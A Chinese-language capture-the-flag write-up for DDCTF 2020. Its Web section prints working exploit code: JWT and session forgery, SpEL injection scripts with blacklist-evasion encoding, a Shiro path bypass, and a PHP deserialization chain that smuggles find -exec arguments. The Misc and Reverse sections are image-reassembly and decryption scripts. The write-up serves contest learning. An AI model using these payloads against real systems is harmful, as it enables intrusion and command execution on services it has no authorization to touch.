2020DDCTF-wp

Web

Web签到题

题目链接:http://117.51.136.197/hint/1.txt

登陆进去之后会有一个jwttoken,发现如下

通过https://jwt.io/直接伪造,获得client下载链接http://117.51.136.197/B5Itb8dFDaSFWZZo/client

运行client发现有签名检验,client 是go编写的客户端,用插件恢复符号,很容易逆向得知签名算法为cmd|timestamp的hmac,hash算法为sha256,密钥为DDCTFWithYou

command使用spel注入,直接给exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from hashlib import sha256
import hmac
import base64
import time
import json
import requests
key = b"DDCTFWithYou"
cmd = b'neW java.util.Scanner(neW java.io.File(\'/home/dc2-user/flag/flag.txt\')).next()'
data = b"%s|%d"%(cmd, int(time.time()))
signature = base64.b64encode(hmac.new(key, data, digestmod=sha256).digest())

url = "http://117.51.136.197/server/command"
data = {
"signature":signature.encode(),
"command": cmd.encode(),
"timestamp": int(time.time())
}
print(data)
print(requests.post(url,data=json.dumps(data),headers={"Content-Type":"application/json"}).text)

卡片商店

题目链接:http://116.85.37.131/11b67e5088cef9b1c97bd5a30eb3b760/

打过DDCTF的都知道,溢出是很常见的(hh),随手一试1000000000000000000

兑换礼物得到key

于是直接伪造session,脚本如下,替换即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package main

import (
//"fmt"
// 导入session包
"github.com/gin-contrib/sessions"
// 导入session存储引擎
"github.com/gin-contrib/sessions/cookie"
// 导入gin框架包
"github.com/gin-gonic/gin"

)

func main() {
r := gin.Default()
// 创建基于cookie的存储引擎,secret11111 参数是用于加密的密钥
store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
// 设置session中间件,参数mysession,指的是session的名字,也是cookie的名字
// store是前面创建的存储引擎,我们可以替换成其他存储引擎
r.Use(sessions.Sessions("session", store))

r.GET("/hello", func(c *gin.Context) {
// 初始化session对象
session := sessions.Default(c)
//1599225624
// 通过session.Get读取session值
// session是键值对格式数据,因此需要通过key查询数据
session.Set("wallet","{\"owings\":[],\"invests\":[],\"money\":23458237452,\"now_time\":1599223689,\"start_time\":1599223509}")
session.Set("admin",true)
session.Save()

c.JSON(200, gin.H{"admin": session.Get("admin"),"wallet":session.Get("wallet")})
})
r.Run(":8000")
}

Easy Web

题目链接:http://116.85.37.131/34867ccfda85234382210155be32525c/web/index

dirsearch扫描发现http://116.85.37.131/34867ccfda85234382210155be32525c/web/index.000

很显然,有可能有任意文件读取漏洞,尝试读WEB-INF/web.xml,成功读取

下面就是不断的读文件,这里不一一展示,直接列出所有文件路径

1
2
3
4
5
6
7
8
9
WEB-INF/classes/spring-core.xml
WEB-INF/classes/spring-web.xml
WEB-INF/templates/render.html
WEB-INF/templates/index.html
WEB-INF/classes/com/ctf/util/SafeFilter.class
WEB-INF/classes/com/ctf/controller/AuthController.class
WEB-INF/classes/com/ctf/service/UserService.class
WEB-INF/classes/com/ctf/model/User.class
WEB-INF/classes/com/ctf/controller/IndexController.class

其中AuthController.java如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.ctf.controller;

import com.ctf.model.Role;
import com.ctf.model.User;
import javax.servlet.http.HttpSession;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class AuthController {
@GetMapping({"/login"})
public String login() {
return "login";
}

@PostMapping({"/auth"})
public String auth(@RequestParam("username") String username, @RequestParam("password") String password, HttpSession httpSession, Model model) {
UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password);
Subject subject = SecurityUtils.getSubject();
try {
subject.login(usernamePasswordToken);
User user = (User) subject.getPrincipal();
httpSession.setAttribute("user", user);
for (Role role : user.getRoles()) {
if (role.getName().equals("admin")) {
return "redirect:./68759c96217a32d5b368ad2965f625ef/index";
}
}
return "redirect:./index";
} catch (Exception e) {
model.addAttribute("error", true);
model.addAttribute("msg", "login failed!");
return "login";
}
}
}

其中SafeFilter.java如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.ctf.util;

import java.io.IOException;
import java.util.Enumeration;
import java.util.regex.Pattern;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletResponse;

public class SafeFilter implements Filter {
private static String[] blacklists = {"java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io"};
private final String encoding = "UTF-8";

public void init(FilterConfig arg0) throws ServletException {
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
request.setCharacterEncoding("UTF-8");
response.setCharacterEncoding("UTF-8");
Enumeration pNames = request.getParameterNames();
while (pNames.hasMoreElements()) {
String value = request.getParameter((String) pNames.nextElement());
for (String blacklist : blacklists) {
if (Pattern.compile(blacklist, 34).matcher(value).find()) {
((HttpServletResponse) response).sendError(403);
}
}
}
filterChain.doFilter(request, response);
}

public void destroy() {
}
}

熟悉的shiro绕过,最近cve很多,参考链接:https://my.oschina.net/u/4587690/blog/4525549,fuzz得到如下链接

http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/index

可以很明显的看到这里就是spel注入,黑名单不能再熟悉了,参考链接:https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

直接给exp吧,主题思路是通过1.class. forName()来获取类,通过String类动态生成字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
def encode(message):
payload = 'T(Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
payload +='.concat(T(Character).toString(%s))' % ord(ch)
return payload

url = "http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/customize"
pattern = re.compile("render\/(.*?) !")

# GetFlagName
message ='1.class. forName({Files}).list(1.class. forName({Paths}).get({path})).toArray()[19]'.format(Files=encode("java.nio.file.Files"), Paths=encode("java.nio.file.Paths"), path=encode("/"))
res1 = requests.post(url,data = {"content":"[[${"+message+"}]]"})
render = pattern.search(res1.text)
renderurl = requests.get("http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/render/{}".format(render.group(1)))
# print(renderurl.text)

# GetFlag
message = '1.class. forName({Files}).lines(1.class. forName({Paths}).get({path})).toArray()[0]'.format(Files=encode("java.nio.file.Files"), Paths=encode("java.nio.file.Paths"), path=encode("/flag_is_here"))
res2 = requests.post(url,data = {"content":"[[${"+message+"}]]"})
render = pattern.search(res2.text)
renderurl = requests.get("http://116.85.37.131/34867ccfda85234382210155be32525c/xxx/..;/web/68759c96217a32d5b368ad2965f625ef/render/{}".format(render.group(1)))
print(renderurl.text)

Overwrite Me

题目链接:http://117.51.137.166/atkPWsr2x3omRZFi.php

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
error_reporting(0);

class MyClass
{
var $kw0ng;
var $flag;

public function __wakeup()
{
$this->kw0ng = 2;
}

public function get_flag()
{
var_dump('find /HackersForever ' . escapeshellcmd($this->flag));
return system('find /tmp ' . escapeshellcmd($this->flag));
}
}

class HintClass
{
protected $hint;
public function execute($value)
{
include($value);
}

public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}

class ShowOff
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
}
public function __toString()
{
return $this->contents();
}

public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}

class MiddleMan
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}

public function __unset($key)
{
$func = $this->content;
return $func();
}
}

class Info
{
function __construct()
{
eval('phpinfo();');
}

}

$show = new ShowOff();
$bullet = $_GET['bullet'];

if(!isset($bullet))
{
highlight_file(__FILE__);
die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
$infos = new Info();
}else
{
$obstacle1 = new stdClass;
$obstacle2 = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $mc->get_flag();
}

审计之后,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class MyClass
{
var $kw0ng;
var $flag='ls';

public function get_flag()
{
system('whoami');
}
}
class ShowOff
{
public $contents;
public $page;
}
class MiddleMan
{
private $cont;
public $content;
}

$a=new MyClass;
$a->flag="-iname sth -or -exec cat hint/hint.php ; -quit";

$b=new MiddleMan;
$b->content=array($a,'get_flag');

$c=new ShowOff;
$c->page=$b;

echo urlencode(serialize($c));

Misc

拼图

opencv图像相似度算法。先把一样的拼好,然后拼有字符的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# from PIL import *
import cv2
import os
import numpy as np
names = []
imgs = []

g = os.walk("./res")
for path, dir_list, file_list in g:
for f in file_list:
names.append(f)
imgs.append(cv2.imread("./res/%s"%f, cv2.IMREAD_COLOR))
shapes = []
dst = cv2.imread("./demo.jpg", cv2.IMREAD_COLOR)

subs = []
for i in range(80):
tmp = []
for j in range(80):
tmp.append(dst[i*27:i*27+27, j*51:j*51+51])
subs.append(tmp)
z = np.zeros((2160, 4080, 3), dtype=np.uint8)

def compare_img_hist(img1, img2):
"""
Compare the similarity of two pictures using histogram(直方图)
Attention: this is a comparision of similarity, using histogram to calculate

For example:
1. img1 and img2 are both 720P .PNG file,
and if compare with img1, img2 only add a black dot(about 9*9px),
the result will be 0.999999999953

:param img1: img1 in MAT format(img1 = cv2.imread(image1))
:param img2: img2 in MAT format(img2 = cv2.imread(image2))
:return: the similarity of two pictures
"""
# Get the histogram data of image 1, then using normalize the picture for better compare
img1_hist = cv2.calcHist([img1], [1], None, [256], [0, 256])
img1_hist = cv2.normalize(img1_hist, img1_hist, 0, 1, cv2.NORM_MINMAX, -1)

img2_hist = cv2.calcHist([img2], [1], None, [256], [0, 256])
img2_hist = cv2.normalize(img2_hist, img2_hist, 0, 1, cv2.NORM_MINMAX, -1)

similarity = cv2.compareHist(img1_hist, img2_hist, 0)

return similarity

used = [0 for i in range(len(imgs))]
print(used)

for i in range(0, 80):
print(i)
for j in range(0, 80):
if i >= 11 and i <= 12 and j >=2 and j <= 12:
continue
min_res = -0xffffff
min_id = None
x = 0
for k in range(len(imgs)):
if used[k]:
continue
x+=1
t = compare_img_hist(subs[i][j], imgs[k])
if t > min_res:
min_res = t
min_id = k
print(i*80+j, min_id, min_res, names[min_id], x)
z[i*27:i*27+27, j*51:j*51+51] = imgs[min_id]
used[min_id] = 1

for i in range(11, 13):
print(i)
for j in range(2, 13):
min_res = -0xffffff
min_id = None
for k in range(len(imgs)):
if used[k]:
continue
t = compare_img_hist(subs[i][j], imgs[k])
if t > min_res:
min_res = t
min_id = k
print(i*80+j, min_id, min_res, names[min_id])

z[i*27:i*27+27, j*51:j*51+51] = imgs[min_id]
used[k] = 1

cv2.imwrite("./res1.png", z)

Reverse

Android reverse 1

AES+类似TEA的对称密码。AES实现错了,用正确的解能得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
import struct
from hashlib import md5
from Crypto.Cipher import AES
plain = b"\x00"*32
cipher = b""
subkey = [0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x34, 0x33, 0x32, 0x31, 0x38, 0x37, 0x36, 0x35, 0x32, 0x31, 0x30, 0x39, 0x36, 0x35, 0x34, 0x33, 0xF7, 0x36, 0xA4, 0x28, 0xCF, 0x01, 0x92, 0x1D, 0xFD, 0x30, 0xA2, 0x24, 0xCB, 0x05, 0x96, 0x17, 0x07, 0x29, 0xCF, 0xBA, 0xC8, 0x28, 0x5D, 0xA7, 0x35, 0x18, 0xFF, 0x83, 0xFE, 0x1D, 0x69, 0x94, 0x25, 0x92, 0x6B, 0x47, 0xED, 0xBA, 0x36, 0xE0, 0xD8, 0xA2, 0xC9, 0x63, 0x26, 0xBF, 0xA0, 0xF7, 0x4D, 0x65, 0x63, 0xAF, 0xA0, 0xDF, 0x55, 0x4F, 0x78, 0x7D, 0x9C, 0x2C, 0x5E, 0xC2, 0x3C, 0xDB, 0xF4, 0x3D, 0x46, 0x54, 0x54, 0xE2, 0x13, 0x1B, 0x2C, 0x9F, 0x8F, 0x37, 0x72, 0x5D, 0xB3, 0xEC, 0x3A, 0x7D, 0x0A, 0x19, 0x6E, 0x9F, 0x19, 0x02, 0x42, 0x00, 0x96, 0x35, 0x30, 0x5D, 0x25, 0xD9, 0x0F, 0x79, 0x46, 0x66, 0x61, 0xE6, 0x5F, 0x64, 0x23, 0xE6, 0xC9, 0x51, 0x13, 0xBB, 0xEC, 0x88, 0xCB, 0x04, 0xAC, 0x28, 0xAA, 0xE2, 0xF3, 0x4C, 0x89, 0x04, 0x3A, 0x1D, 0x9A, 0xBF, 0xD6, 0x95, 0xE1, 0xBC, 0xA4, 0xC5, 0x4B, 0x5E, 0x57, 0x89, 0xC2, 0x5A, 0x6D, 0x94, 0x58, 0xE5, 0xBB, 0x01, 0x9D, 0xD6, 0x7D, 0x19, 0xD6, 0x88, 0x2A, 0x90, 0x14, 0xD2, 0x47, 0x04, 0x4C, 0x37, 0xFC, 0x05]
sbox = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]

s = b"DDCTF{" + b"\x00"*11 + b"}"
# s = b""
s = s.ljust(32, b"\x00")
# s = b""

def sub_bytes(state):
for i in range(4):
for j in range(4):
state[i][j] = sbox[state[i][j]]

def polynomial_multiply(multiplier_a, multiplier_b):
tmp = [0] * 8
res = 0
for i in range(8):
tmp[i] = (multiplier_a << i) * ((multiplier_b >> i) & 1)
res ^= tmp[i]
return res

def find_highest_bit(value):
i = 0
while value != 0:
i += 1
value >>= 1
return i


def polynomial_divide(numerator, denominator):
quotient = 0
tmp = numerator
bit_count = find_highest_bit(tmp) - find_highest_bit(denominator)
while bit_count >= 0:
quotient |= (1 << bit_count)
tmp ^= (denominator << bit_count)
bit_count = find_highest_bit(tmp) - find_highest_bit(denominator)
remainder = tmp
return quotient, remainder



def mix_columns(state):
matrix_a = [[2, 3, 1, 1],
[1, 2, 3, 1],
[1, 1, 2, 3],
[3, 1, 1, 2]]
res = [[None for __ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
tmp_sum = 0
for k in range(4):
tmp_sum ^= polynomial_multiply(matrix_a[i][k], state[j][k])
tmp_sum = polynomial_divide(tmp_sum, 0x11B)[1]
res[j][i] = tmp_sum
state[:] = res[:]

def show_state(a):
for i in range(4):
for j in range(4):
print("%02x" % a[j][i], end=' ')
print('')


def add_round_key(state1, state2):
for i in range(4):
for j in range(4):
state1[i][j] ^= state2[i][j]

def bytes_to_state(a):
tmp0 = []
for i in range(len(a) // 4):
tmp1 = []
for j in range(4):
tmp1.append(a[i * 4 + j])
tmp0.append(tmp1)
return tmp0

def shift_rows(state):
tmp = state[0][1]
state[0][1] = state[1][1]
state[1][1] = state[2][1]
state[2][1] = state[3][1]
state[3][1] = tmp

tmp = state[0][2]
state[0][2] = state[2][2]
state[2][2] = tmp
tmp = state[1][2]
state[1][2] = state[3][2]
state[3][2] = tmp

tmp = state[0][3]
state[0][3] = state[3][3]
state[3][3] = state[2][3]
state[2][3] = state[1][3]
state[1][3] = tmp


def inv_shift_rows(state):
tmp = state[0][1]
state[0][1] = state[3][1]
state[3][1] = state[2][1]
state[2][1] = state[1][1]
state[1][1] = tmp

tmp = state[0][2]
state[0][2] = state[2][2]
state[2][2] = tmp
tmp = state[1][2]
state[1][2] = state[3][2]
state[3][2] = tmp

tmp = state[0][3]
state[0][3] = state[1][3]
state[1][3] = state[2][3]
state[2][3] = state[3][3]
state[3][3] = tmp

def state_to_bytes(state):
res = b""
for i in range(4):
res += bytes(state[i])
return res


# vul aes
cipher = b""
for i in range(0, len(plain), 16):
tmp = list(plain[0:16])
state = bytes_to_state(tmp)
subk = bytes_to_state(subkey[0:16])
add_round_key(state, subk)
for j in range(9):
sub_bytes(state)
for k in range(4):
state[k][0] = 0xff
shift_rows(state)
mix_columns(state)
t = struct.unpack("<IIII", bytes(subkey[16*(j+2):16*(j+3)]))
subk = bytes_to_state(struct.pack(">IIII", t[0], t[1], t[2], t[3]))
add_round_key(state, subk)

sub_bytes(state)
for k in range(4):
state[k][0] = 0xff
shift_rows(state)
t = struct.unpack("<IIII", bytes(subkey[176:176+16]))
subk = bytes_to_state(struct.pack(">IIII", t[0], t[1], t[2], t[3]))
add_round_key(state, subk)
tmp = state_to_bytes(state)
cipher += tmp
print("aes cipher: ", cipher.hex())
n = [0 for i in range(4)]
m = [0 for i in range(4)]
n[0], n[1], n[2], n[3], m[0], m[1], m[2], m[3] = struct.unpack("<IIIIIIII", cipher)
s = 0x9E3779B9
key = [2, 2, 3, 4]

# cipher2
for i in range(12):
tmp = (s >> 2) & 3
n[0] += (((4 * n[1] ^ (m[3] >> 5)) + ((n[1] >> 3) ^ 16 * m[3])) ^ ((key[tmp ^ 0] ^ m[3]) + (n[1] ^ s)))
n[0] &= 0xffffffff
n[1] += (((4 * n[2] ^ (n[0] >> 5)) + ((n[2] >> 3) ^ 16 * n[0])) ^ ((key[tmp ^ 1] ^ n[0]) + (n[2] ^ s)))
n[1] &= 0xffffffff
n[2] += (((4 * n[3] ^ (n[1] >> 5)) + ((n[3] >> 3) ^ 16 * n[1])) ^ ((key[tmp ^ 2] ^ n[1]) + (n[3] ^ s)))
n[2] &= 0xffffffff
n[3] += (((4 * m[0] ^ (n[2] >> 5)) + ((m[0] >> 3) ^ 16 * n[2])) ^ ((key[tmp ^ 3] ^ n[2]) + (m[0] ^ s)))
n[3] &= 0xffffffff
m[0] += (((4 * m[1] ^ (n[3] >> 5)) + ((m[1] >> 3) ^ 16 * n[3])) ^ ((key[tmp ^ 0] ^ n[3]) + (m[1] ^ s)))
m[0] &= 0xffffffff
m[1] += (((4 * m[2] ^ (m[0] >> 5)) + ((m[2] >> 3) ^ 16 * m[0])) ^ ((key[tmp ^ 1] ^ m[0]) + (m[2] ^ s)))
m[1] &= 0xffffffff
m[2] += (((4 * m[3] ^ (m[1] >> 5)) + ((m[3] >> 3) ^ 16 * m[1])) ^ ((key[tmp ^ 2] ^ m[1]) + (m[3] ^ s)))
m[2] &= 0xffffffff
m[3] += (((4 * n[0] ^ (m[2] >> 5)) + ((n[0] >> 3) ^ 16 * m[2])) ^ ((key[tmp ^ 3] ^ m[2]) + (n[0] ^ s)))
m[3] &= 0xffffffff
s -= 0x61C88647
s &= 0xffffffff
res = struct.pack("<IIIIIIII", n[0], n[1], n[2], n[3], m[0], m[1], m[2], m[3])

print("tea cipher: ", res.hex())


cipher = res
print("md5 res: ", md5(res).hexdigest())


# decrypt
res = bytes([0x6b,0x93,0x9c,0xfa,0xeb,0x68,0x4b,0x25,0x85,0x54,0xf9,0x1a,0x30,0x84,0xbc,0x7b,0x2c,0xce,0xf3,0x92,0xfe,0x63,0xae,0x67,0xf3,0xe7,0xfb,0x18,0xa2,0xb3,0x32,0x93])
n[0], n[1], n[2], n[3], m[0], m[1], m[2], m[3] = struct.unpack("<IIIIIIII", cipher)
s = 0x8d12e65
for i in range(12):
s += 0x61C88647
s &= 0xffffffff
tmp = (s >> 2) & 3
m[3] -= (((4 * n[0] ^ (m[2] >> 5)) + ((n[0] >> 3) ^ 16 * m[2])) ^ ((key[tmp ^ 3] ^ m[2]) + (n[0] ^ s)))
m[3] &= 0xffffffff
m[2] -= (((4 * m[3] ^ (m[1] >> 5)) + ((m[3] >> 3) ^ 16 * m[1])) ^ ((key[tmp ^ 2] ^ m[1]) + (m[3] ^ s)))
m[2] &= 0xffffffff
m[1] -= (((4 * m[2] ^ (m[0] >> 5)) + ((m[2] >> 3) ^ 16 * m[0])) ^ ((key[tmp ^ 1] ^ m[0]) + (m[2] ^ s)))
m[1] &= 0xffffffff
m[0] -= (((4 * m[1] ^ (n[3] >> 5)) + ((m[1] >> 3) ^ 16 * n[3])) ^ ((key[tmp ^ 0] ^ n[3]) + (m[1] ^ s)))
m[0] &= 0xffffffff
n[3] -= (((4 * m[0] ^ (n[2] >> 5)) + ((m[0] >> 3) ^ 16 * n[2])) ^ ((key[tmp ^ 3] ^ n[2]) + (m[0] ^ s)))
n[3] &= 0xffffffff
n[2] -= (((4 * n[3] ^ (n[1] >> 5)) + ((n[3] >> 3) ^ 16 * n[1])) ^ ((key[tmp ^ 2] ^ n[1]) + (n[3] ^ s)))
n[2] &= 0xffffffff
n[1] -= (((4 * n[2] ^ (n[0] >> 5)) + ((n[2] >> 3) ^ 16 * n[0])) ^ ((key[tmp ^ 1] ^ n[0]) + (n[2] ^ s)))
n[1] &= 0xffffffff
n[0] -= (((4 * n[1] ^ (m[3] >> 5)) + ((n[1] >> 3) ^ 16 * m[3])) ^ ((key[tmp ^ 0] ^ m[3]) + (n[1] ^ s)))
n[0] &= 0xffffffff
cipher = struct.pack("<IIIIIIII", n[0], n[1], n[2], n[3], m[0], m[1], m[2], m[3])
# tea fuck

aes = AES.new(b"1234567890123456", mode=AES.MODE_ECB)
print(aes.decrypt(cipher))

Android reverse 2

AES+XXTEA

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Cipher import AES
import XXTEA # my script XXTEA.py
import struct
from hashlib import md5

aes = AES.new(b"1234567890123456", mode=AES.MODE_ECB)
key = struct.pack("<IIII", 20, 20, 30, 40)
tmp = bytes([0x1d,0xb3,0x52,0xe2,0x0a,0xcd,0xc5,0x69,0xd0,0xe5,0x7c,0xdf,0x61,0xae,0xf0,0x8a,0xc1,0x51,0x54,0xde,0x3c,0xf7,0x58,0xd1,0x60,0xd6,0x57,0xde,0xae,0xeb,0x9a,0xaf])
xxtea = XXTEA.new(key)
tmp = xxtea.decrypt(tmp)
aes = AES.new(b"1234567890123456", mode=AES.MODE_ECB)
tmp = aes.decrypt(tmp)
print(tmp)

END

谢谢@Apeng带我,队名请忽略